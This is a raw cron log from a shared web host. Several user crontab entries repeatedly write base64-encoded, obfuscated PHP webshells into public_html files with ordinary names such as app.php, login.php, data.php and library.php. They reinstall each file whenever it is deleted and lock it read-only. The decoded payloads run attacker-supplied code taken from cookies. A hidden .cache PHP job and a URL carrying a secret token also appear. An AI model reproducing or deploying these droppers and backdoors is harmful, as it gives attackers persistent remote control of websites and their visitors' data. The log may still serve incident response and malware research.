Jun  7 11:51:02 medusa CROND[26984]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:51:02 medusa CROND[26986]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 11:51:02 medusa CROND[26990]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 11:51:02 medusa CROND[26991]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:51:02 medusa CROND[26989]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 11:51:02 medusa CROND[26992]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:52:01 medusa CROND[28630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:52:01 medusa CROND[28631]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:52:01 medusa CROND[28632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:52:01 medusa CROND[28633]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:52:01 medusa CROND[28634]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 11:52:01 medusa CROND[28635]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:52:01 medusa CROND[28636]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:52:01 medusa CROND[28637]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:52:01 medusa CROND[28640]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:52:01 medusa CROND[28646]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:52:01 medusa CROND[28639]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:52:01 medusa CROND[28647]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:52:01 medusa CROND[28649]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:53:02 medusa CROND[30162]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:53:02 medusa CROND[30163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:53:02 medusa CROND[30165]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:53:02 medusa CROND[30166]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:53:02 medusa CROND[30167]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 11:53:02 medusa CROND[30164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:53:02 medusa CROND[30168]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:53:02 medusa CROND[30169]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:53:02 medusa CROND[30171]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:53:02 medusa CROND[30172]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:53:02 medusa CROND[30176]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:53:02 medusa CROND[30175]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:54:01 medusa CROND[31831]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
